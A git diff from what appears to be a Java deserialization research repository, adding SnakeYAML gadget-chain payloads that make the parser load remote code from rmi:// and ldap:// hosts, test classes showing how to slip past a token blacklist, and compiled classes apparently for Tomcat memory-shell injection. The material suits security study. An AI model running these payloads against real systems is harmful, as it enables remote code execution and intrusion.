diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/javassist-3.12.0.GA.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/javassist-3.12.0.GA.jar
new file mode 100644
index 00000000..8f692f4f
Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/javassist-3.12.0.GA.jar differ
diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/jul-to-slf4j-1.7.36.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/jul-to-slf4j-1.7.36.jar
new file mode 100644
index 00000000..ae8f815e
Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/jul-to-slf4j-1.7.36.jar differ
diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/log4j-api-2.17.2.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/log4j-api-2.17.2.jar
new file mode 100644
index 00000000..16d9061d
Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/log4j-api-2.17.2.jar differ
diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/log4j-to-slf4j-2.17.2.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/log4j-to-slf4j-2.17.2.jar
new file mode 100644
index 00000000..d6c35f41
Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/log4j-to-slf4j-2.17.2.jar differ
diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/logback-classic-1.2.11.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/logback-classic-1.2.11.jar
new file mode 100644
index 00000000..b70c0e6a
Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/logback-classic-1.2.11.jar differ
diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/logback-core-1.2.11.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/logback-core-1.2.11.jar
new file mode 100644
index 00000000..e3038da2
Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/logback-core-1.2.11.jar differ
diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/slf4j-api-1.7.36.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/slf4j-api-1.7.36.jar
new file mode 100644
index 00000000..7d3ce68d
Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/slf4j-api-1.7.36.jar differ
diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/snakeyaml-1.29.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/snakeyaml-1.29.jar
new file mode 100644
index 00000000..b7db2483
Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/snakeyaml-1.29.jar differ
diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-aop-5.3.22.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-aop-5.3.22.jar
new file mode 100644
index 00000000..4cd4a5e4
Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-aop-5.3.22.jar differ
diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-beans-5.3.22.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-beans-5.3.22.jar
new file mode 100644
index 00000000..a221f6ff
Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-beans-5.3.22.jar differ
diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-boot-2.6.11.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-boot-2.6.11.jar
new file mode 100644
index 00000000..7ff3685e
Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-boot-2.6.11.jar differ
diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-boot-autoconfigure-2.6.11.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-boot-autoconfigure-2.6.11.jar
new file mode 100644
index 00000000..d01fe1f0
Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-boot-autoconfigure-2.6.11.jar differ
diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-boot-jarmode-layertools-2.6.11.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-boot-jarmode-layertools-2.6.11.jar
new file mode 100644
index 00000000..f8004408
Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-boot-jarmode-layertools-2.6.11.jar differ
diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-context-5.3.22.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-context-5.3.22.jar
new file mode 100644
index 00000000..64204499
Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-context-5.3.22.jar differ
diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-core-5.3.22.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-core-5.3.22.jar
new file mode 100644
index 00000000..c6685090
Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-core-5.3.22.jar differ
diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-expression-5.3.22.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-expression-5.3.22.jar
new file mode 100644
index 00000000..ceaaf793
Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-expression-5.3.22.jar differ
diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-jcl-5.3.22.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-jcl-5.3.22.jar
new file mode 100644
index 00000000..6d125c09
Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-jcl-5.3.22.jar differ
diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-web-5.3.22.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-web-5.3.22.jar
new file mode 100644
index 00000000..f6b6e668
Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-web-5.3.22.jar differ
diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-webmvc-5.3.22.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-webmvc-5.3.22.jar
new file mode 100644
index 00000000..beb27e73
Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-webmvc-5.3.22.jar differ
diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/tomcat-embed-core-9.0.65.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/tomcat-embed-core-9.0.65.jar
new file mode 100644
index 00000000..667ca462
Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/tomcat-embed-core-9.0.65.jar differ
diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/tomcat-embed-el-9.0.65.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/tomcat-embed-el-9.0.65.jar
new file mode 100644
index 00000000..e54e0845
Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/tomcat-embed-el-9.0.65.jar differ
diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/tomcat-embed-websocket-9.0.65.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/tomcat-embed-websocket-9.0.65.jar
new file mode 100644
index 00000000..f2bd484e
Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/tomcat-embed-websocket-9.0.65.jar differ
diff --git "a/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/classes/application.properties" "b/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/classes/application.properties"
new file mode 100644
index 00000000..4d360de1
--- /dev/null
+++ "b/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/classes/application.properties"
@@ -0,0 +1 @@
+server.port=8081
diff --git "a/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/classes/com/shiro/vuln/Controller/UserController.class" "b/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/classes/com/shiro/vuln/Controller/UserController.class"
new file mode 100644
index 00000000..f63f9f4a
Binary files /dev/null and "b/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/classes/com/shiro/vuln/Controller/UserController.class" differ
diff --git "a/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/classes/com/shiro/vuln/Shiro/MainRealm.class" "b/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/classes/com/shiro/vuln/Shiro/MainRealm.class"
new file mode 100644
index 00000000..79d49a6d
Binary files /dev/null and "b/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/classes/com/shiro/vuln/Shiro/MainRealm.class" differ
diff --git "a/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/classes/com/shiro/vuln/Shiro/ShiroConfig.class" "b/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/classes/com/shiro/vuln/Shiro/ShiroConfig.class"
new file mode 100644
index 00000000..870b53cc
Binary files /dev/null and "b/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/classes/com/shiro/vuln/Shiro/ShiroConfig.class" differ
diff --git "a/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/classes/com/shiro/vuln/ShirodemoApplication.class" "b/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/classes/com/shiro/vuln/ShirodemoApplication.class"
new file mode 100644
index 00000000..17f1001d
Binary files /dev/null and "b/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/classes/com/shiro/vuln/ShirodemoApplication.class" differ
diff --git "a/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/test-classes/AESEncode.class" "b/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/test-classes/AESEncode.class"
new file mode 100644
index 00000000..b7b80496
Binary files /dev/null and "b/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/test-classes/AESEncode.class" differ
diff --git "a/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/test-classes/CC11Template.class" "b/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/test-classes/CC11Template.class"
new file mode 100644
index 00000000..e55781cc
Binary files /dev/null and "b/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/test-classes/CC11Template.class" differ
diff --git "a/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/test-classes/CommonsBeanutils.class" "b/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/test-classes/CommonsBeanutils.class"
new file mode 100644
index 00000000..9ddd3d87
Binary files /dev/null and "b/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/test-classes/CommonsBeanutils.class" differ
diff --git "a/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/test-classes/TomcatHeaderSize.class" "b/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/test-classes/TomcatHeaderSize.class"
new file mode 100644
index 00000000..56808dc4
Binary files /dev/null and "b/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/test-classes/TomcatHeaderSize.class" differ
diff --git "a/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/test-classes/TomcatMemShellInject.class" "b/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/test-classes/TomcatMemShellInject.class"
new file mode 100644
index 00000000..47592526
Binary files /dev/null and "b/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/test-classes/TomcatMemShellInject.class" differ
diff --git "a/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/test-classes/com/shiro/vuln/shirodemo/ShirodemoApplicationTests.class" "b/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/test-classes/com/shiro/vuln/shirodemo/ShirodemoApplicationTests.class"
new file mode 100644
index 00000000..90696881
Binary files /dev/null and "b/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/test-classes/com/shiro/vuln/shirodemo/ShirodemoApplicationTests.class" differ
diff --git a/JavaSecurity/SnakeYaml/pom.xml b/JavaSecurity/SnakeYaml/pom.xml
index 3a9c907f..717d42bf 100644
--- a/JavaSecurity/SnakeYaml/pom.xml
+++ b/JavaSecurity/SnakeYaml/pom.xml
@@ -12,27 +12,33 @@
org.yamlsnakeyaml
- 1.27
+ 1.25
- commons-configuration
- commons-configuration
- 1.10
+ commons-logging
+ commons-logging
+ 1.2
+
+
+ com.unboundid
+ unboundid-ldapsdk
+ 4.0.9
+ testorg.springframework
- spring-webmvc
- 5.3.16
+ spring-beans
+ 5.0.2.RELEASE
- com.mchange
- c3p0
- 0.9.5.2
+ org.springframework
+ spring-context
+ 5.0.2.RELEASE
- org.apache.xbean
- xbean-naming
- 4.20
+ org.springframework
+ spring-core
+ 5.0.2.RELEASE
diff --git a/JavaSecurity/SnakeYaml/src/main/java/AvailableGadgets/JndiConfigurationEXP.java b/JavaSecurity/SnakeYaml/src/main/java/AvailableGadgets/JndiConfigurationEXP.java
index dc5c0797..65ebdd7e 100644
--- a/JavaSecurity/SnakeYaml/src/main/java/AvailableGadgets/JndiConfigurationEXP.java
+++ b/JavaSecurity/SnakeYaml/src/main/java/AvailableGadgets/JndiConfigurationEXP.java
@@ -8,7 +8,7 @@ public static void main(String[] args) {
String payload = "!!org.apache.commons.configuration.ConfigurationMap " +
"[!!org.apache.commons.configuration.JNDIConfiguration " +
"[!!javax.naming.InitialContext [], " +
- "\"rmi://127.0.0.1:1099/Exploit\"]]: 1";
+ "\"rmi://127.0.0.1:1099/nprcsj\"]]: 1";
Yaml yaml = new Yaml();
yaml.load(payload);
}
diff --git a/JavaSecurity/SnakeYaml/src/main/java/AvailableGadgets/SpringPropertyPathFactoryBeanEXP.java b/JavaSecurity/SnakeYaml/src/main/java/AvailableGadgets/SpringPropertyPathFactoryBeanEXP.java
index 6a983b1a..70989ebe 100644
--- a/JavaSecurity/SnakeYaml/src/main/java/AvailableGadgets/SpringPropertyPathFactoryBeanEXP.java
+++ b/JavaSecurity/SnakeYaml/src/main/java/AvailableGadgets/SpringPropertyPathFactoryBeanEXP.java
@@ -6,18 +6,11 @@
public class SpringPropertyPathFactoryBeanEXP {
public static void main(String[] args) {
String payload = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean\n" +
- " targetBeanName: \"ldap://localhost:1389/Exploit\"\n" +
+ " targetBeanName: \"rmi://127.0.0.1:1099/7dwqhm\"\n" +
" propertyPath: Drunkbaby\n" +
" beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory\n" +
- " shareableResources: [\"ldap://localhost:1389/Exploit\"]";
-
- String poc = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean\n" +
- " targetBeanName: \"rmi://127.0.0.1:1099/Exploit\"\n" +
- " propertyPath: Drunkbaby\n" +
- " beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory\n" +
- " shareableResources: [\"rmi://127.0.0.1:1099/Exploit\"]";
-
+ " shareableResources: [\"rmi://127.0.0.1:1099/7dwqhm\"]";
Yaml yaml = new Yaml();
- yaml.load(poc);
+ yaml.load(payload);
}
}
diff --git a/JavaSecurity/SnakeYaml/src/main/java/BypassAnalyze/bypassBlackList.java b/JavaSecurity/SnakeYaml/src/main/java/BypassAnalyze/bypassBlackList.java
new file mode 100644
index 00000000..c983cfb6
--- /dev/null
+++ b/JavaSecurity/SnakeYaml/src/main/java/BypassAnalyze/bypassBlackList.java
@@ -0,0 +1,40 @@
+package BypassAnalyze;
+
+
+import org.yaml.snakeyaml.Yaml;
+
+// 测试绕过一整段黑名单
+public class bypassBlackList {
+
+ private static final String[] RISKY_STR_ARR = {"ScriptEngineManager", "URLClassLoader", "!!",
+ "ClassLoader", "AnnotationConfigApplicationContext", "FileSystemXmlApplicationContext",
+ "GenericXmlApplicationContext", "GenericGroovyApplicationContext", "GroovyScriptEngine",
+ "GroovyClassLoader", "GroovyShell", "ScriptEngine", "ScriptEngineFactory", "XmlWebApplicationContext",
+ "ClassPathXmlApplicationContext", "MarshalOutputStream", "InflaterOutputStream", "FileOutputStream"};
+ public String yamlLoads(String payload) {
+
+ try {
+ for (String riskyToken : RISKY_STR_ARR) {
+ if (payload.contains(riskyToken)) {
+ System.out.println("can not has malicious remote script");
+ return "failed";
+ }
+ }
+ Yaml yaml = new Yaml();
+ yaml.loadAs(payload, Object.class);
+ } catch (Exception e) {
+ System.out.println("error");
+ }
+ return "over";
+ }
+
+ public static void main(String[] args) {
+ String payload = "! \n" +
+ " targetBeanName: \"ldap://127.0.0.1:1389/dc=example,dc=com\"\n" +
+ " propertyPath: Drunkbaby\n" +
+ " beanFactory: ! \n" +
+ " shareableResources: [\"ldap://127.0.0.1:1389/dc=example,dc=com\"]";
+ bypassBlackList bypassTest = new bypassBlackList();
+ bypassTest.yamlLoads(payload);
+ }
+}
diff --git a/JavaSecurity/SnakeYaml/src/main/java/BypassAnalyze/bypassTest.java b/JavaSecurity/SnakeYaml/src/main/java/BypassAnalyze/bypassTest.java
new file mode 100644
index 00000000..099b64b7
--- /dev/null
+++ b/JavaSecurity/SnakeYaml/src/main/java/BypassAnalyze/bypassTest.java
@@ -0,0 +1,40 @@
+package BypassAnalyze;
+
+
+import org.yaml.snakeyaml.Yaml;
+
+// 测试绕过 !!
+public class bypassTest {
+
+ private static final String[] RISKY_STR_ARR = {"ScriptEngineManager", "URLClassLoader", "!!",
+ "ClassLoader", "AnnotationConfigApplicationContext", "FileSystemXmlApplicationContext",
+ "GenericXmlApplicationContext", "GenericGroovyApplicationContext", "GroovyScriptEngine",
+ "GroovyClassLoader", "GroovyShell", "ScriptEngine", "ScriptEngineFactory", "XmlWebApplicationContext",
+ "ClassPathXmlApplicationContext", "MarshalOutputStream", "InflaterOutputStream", "FileOutputStream"};
+
+ public String yamlLoads(String payload) {
+
+ try {
+ if (payload.contains("!!")) {
+ System.out.println("can not has malicious remote script");
+ return "failed";
+ }
+ Yaml yaml = new Yaml();
+ yaml.loadAs(payload, Object.class);
+
+ } catch (Exception e) {
+ System.out.println("error");
+ }
+ return "over";
+ }
+
+ public static void main(String[] args) {
+ String payload = "! \n" +
+ " targetBeanName: \"ldap://192.168.255.10:1389/tr7j8w\"\n" +
+ " propertyPath: Drunkbaby\n" +
+ " beanFactory: ! \n" +
+ " shareableResources: [\"ldap://192.168.255.10:1389/tr7j8w\"]";
+ bypassTest bypassTest = new bypassTest();
+ bypassTest.yamlLoads(payload);
+ }
+}
diff --git a/JavaSecurity/SnakeYaml/src/main/java/BypassAnalyze/tag.java b/JavaSecurity/SnakeYaml/src/main/java/BypassAnalyze/tag.java
new file mode 100644
index 00000000..84093770
--- /dev/null
+++ b/JavaSecurity/SnakeYaml/src/main/java/BypassAnalyze/tag.java
@@ -0,0 +1,13 @@
+package BypassAnalyze;
+
+import org.yaml.snakeyaml.Yaml;
+
+public class tag {
+ public static void main(String[] args) {
+ String payload = "! " +
+ "[! " +
+ "[[! [\"http://localhost:1099\"]]]]\n";
+ Yaml yaml = new Yaml();
+ yaml.load(payload);
+ }
+}
diff --git a/JavaSecurity/SnakeYaml/src/main/java/SnakeYamlFix/SnakeYamlFix.java b/JavaSecurity/SnakeYaml/src/main/java/SnakeYamlFix/SnakeYamlFix.java
index 55e4d351..9110a1b6 100644
--- a/JavaSecurity/SnakeYaml/src/main/java/SnakeYamlFix/SnakeYamlFix.java
+++ b/JavaSecurity/SnakeYaml/src/main/java/SnakeYamlFix/SnakeYamlFix.java
@@ -1,18 +1,18 @@
-package SnakeYamlFix;
-
-import org.yaml.snakeyaml.Yaml;
-import org.yaml.snakeyaml.constructor.SafeConstructor;
-
-public class SnakeYamlFix {
- public static void main(String[] args) {
-
- String context = "!!javax.script.ScriptEngineManager [\n" +
- " !!java.net.URLClassLoader [[\n" +
- " !!java.net.URL [\"http://127.0.0.1:7777/yaml-payload-master.jar\"]\n" +
- " ]]\n" +
- "]";
- Yaml yaml = new Yaml(new SafeConstructor());
- yaml.load(context);
- }
-
-}
+//package SnakeYamlFix;
+//
+//import org.yaml.snakeyaml.Yaml;
+//import org.yaml.snakeyaml.constructor.SafeConstructor;
+//
+//public class SnakeYamlFix {
+// public static void main(String[] args) {
+//
+// String context = "!!javax.script.ScriptEngineManager [\n" +
+// " !!java.net.URLClassLoader [[\n" +
+// " !!java.net.URL [\"http://127.0.0.1:7777/yaml-payload-master.jar\"]\n" +
+// " ]]\n" +
+// "]";
+// Yaml yaml = new Yaml(new SafeConstructor());
+// yaml.load(context);
+// }
+//
+//}
diff --git a/JavaSecurity/SnakeYaml/target/classes/AvailableGadgets/JndiConfigurationEXP.class b/JavaSecurity/SnakeYaml/target/classes/AvailableGadgets/JndiConfigurationEXP.class
index 4bed0684..52290186 100644
Binary files a/JavaSecurity/SnakeYaml/target/classes/AvailableGadgets/JndiConfigurationEXP.class and b/JavaSecurity/SnakeYaml/target/classes/AvailableGadgets/JndiConfigurationEXP.class differ
diff --git a/JavaSecurity/SnakeYaml/target/classes/AvailableGadgets/SpringPropertyPathFactoryBeanEXP.class b/JavaSecurity/SnakeYaml/target/classes/AvailableGadgets/SpringPropertyPathFactoryBeanEXP.class
index 879340fe..a6cb0371 100644
Binary files a/JavaSecurity/SnakeYaml/target/classes/AvailableGadgets/SpringPropertyPathFactoryBeanEXP.class and b/JavaSecurity/SnakeYaml/target/classes/AvailableGadgets/SpringPropertyPathFactoryBeanEXP.class differ
diff --git a/JavaSecurity/SnakeYaml/target/classes/BypassAnalyze/bypassBlackList.class b/JavaSecurity/SnakeYaml/target/classes/BypassAnalyze/bypassBlackList.class
new file mode 100644
index 00000000..00bea030
Binary files /dev/null and b/JavaSecurity/SnakeYaml/target/classes/BypassAnalyze/bypassBlackList.class differ
diff --git a/JavaSecurity/SnakeYaml/target/classes/BypassAnalyze/bypassTest.class b/JavaSecurity/SnakeYaml/target/classes/BypassAnalyze/bypassTest.class
new file mode 100644
index 00000000..9730813a
Binary files /dev/null and b/JavaSecurity/SnakeYaml/target/classes/BypassAnalyze/bypassTest.class differ
diff --git a/JavaSecurity/SnakeYaml/target/classes/BypassAnalyze/tag.class b/JavaSecurity/SnakeYaml/target/classes/BypassAnalyze/tag.class
new file mode 100644
index 00000000..e44dae40
Binary files /dev/null and b/JavaSecurity/SnakeYaml/target/classes/BypassAnalyze/tag.class differ
diff --git a/JavaSecurity/SnakeYaml/target/classes/SnakeYamlFix/SnakeYamlFix.class b/JavaSecurity/SnakeYaml/target/classes/SnakeYamlFix/SnakeYamlFix.class
deleted file mode 100644
index 57e4ba35..00000000
Binary files a/JavaSecurity/SnakeYaml/target/classes/SnakeYamlFix/SnakeYamlFix.class and /dev/null differ
diff --git a/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/pom.xml b/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/pom.xml
new file mode 100644
index 00000000..851e09ec
--- /dev/null
+++ b/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/pom.xml
@@ -0,0 +1,9 @@
+
+ 4.0.0
+ org.example
+ CVE-2023-34050
+ 1.0-SNAPSHOT
+ Archetype - CVE-2023-34050
+ http://maven.apache.org
+
diff --git a/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/src/main/resources/META-INF/maven/archetype.xml b/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/src/main/resources/META-INF/maven/archetype.xml
new file mode 100644
index 00000000..a8c70656
--- /dev/null
+++ b/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/src/main/resources/META-INF/maven/archetype.xml
@@ -0,0 +1,9 @@
+
+ CVE-2023-34050
+
+ src/main/java/App.java
+
+
+ src/test/java/AppTest.java
+
+
diff --git a/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/src/main/resources/archetype-resources/pom.xml b/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/src/main/resources/archetype-resources/pom.xml
new file mode 100644
index 00000000..ba5adcc1
--- /dev/null
+++ b/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/src/main/resources/archetype-resources/pom.xml
@@ -0,0 +1,15 @@
+
+ 4.0.0
+ $org.example
+ $CVE-2023-34050
+ 1ドル.0-SNAPSHOT
+
+
+ junit
+ junit
+ 3.8.1
+ test
+
+
+
diff --git a/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/src/main/resources/archetype-resources/src/main/java/App.java b/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/src/main/resources/archetype-resources/src/main/java/App.java
new file mode 100644
index 00000000..1fa6a956
--- /dev/null
+++ b/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/src/main/resources/archetype-resources/src/main/java/App.java
@@ -0,0 +1,13 @@
+package $org.example;
+
+/**
+ * Hello world!
+ *
+ */
+public class App
+{
+ public static void main( String[] args )
+ {
+ System.out.println( "Hello World!" );
+ }
+}
diff --git a/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/src/main/resources/archetype-resources/src/test/java/AppTest.java b/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/src/main/resources/archetype-resources/src/test/java/AppTest.java
new file mode 100644
index 00000000..65be417e
--- /dev/null
+++ b/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/src/main/resources/archetype-resources/src/test/java/AppTest.java
@@ -0,0 +1,38 @@
+package $org.example;
+
+import junit.framework.Test;
+import junit.framework.TestCase;
+import junit.framework.TestSuite;
+
+/**
+ * Unit test for simple App.
+ */
+public class AppTest
+ extends TestCase
+{
+ /**
+ * Create the test case
+ *
+ * @param testName name of the test case
+ */
+ public AppTest( String testName )
+ {
+ super( testName );
+ }
+
+ /**
+ * @return the suite of tests being tested
+ */
+ public static Test suite()
+ {
+ return new TestSuite( AppTest.class );
+ }
+
+ /**
+ * Rigourous Test :-)
+ */
+ public void testApp()
+ {
+ assertTrue( true );
+ }
+}
diff --git a/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/.gitignore b/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/.gitignore
new file mode 100644
index 00000000..549e00a2
--- /dev/null
+++ b/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/.gitignore
@@ -0,0 +1,33 @@
+HELP.md
+target/
+!.mvn/wrapper/maven-wrapper.jar
+!**/src/main/**/target/
+!**/src/test/**/target/
+
+### STS ###
+.apt_generated
+.classpath
+.factorypath
+.project
+.settings
+.springBeans
+.sts4-cache
+
+### IntelliJ IDEA ###
+.idea
+*.iws
+*.iml
+*.ipr
+
+### NetBeans ###
+/nbproject/private/
+/nbbuild/
+/dist/
+/nbdist/
+/.nb-gradle/
+build/
+!**/src/main/**/build/
+!**/src/test/**/build/
+
+### VS Code ###
+.vscode/
diff --git a/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/pom.xml b/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/pom.xml
new file mode 100644
index 00000000..be3d2a71
--- /dev/null
+++ b/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/pom.xml
@@ -0,0 +1,76 @@
+
+
+ 4.0.0
+
+ org.springframework.boot
+ spring-boot-starter-parent
+ 3.2.2
+
+
+ com.example
+ spring-security-demo
+ 0.0.1-SNAPSHOT
+ spring-security-demo
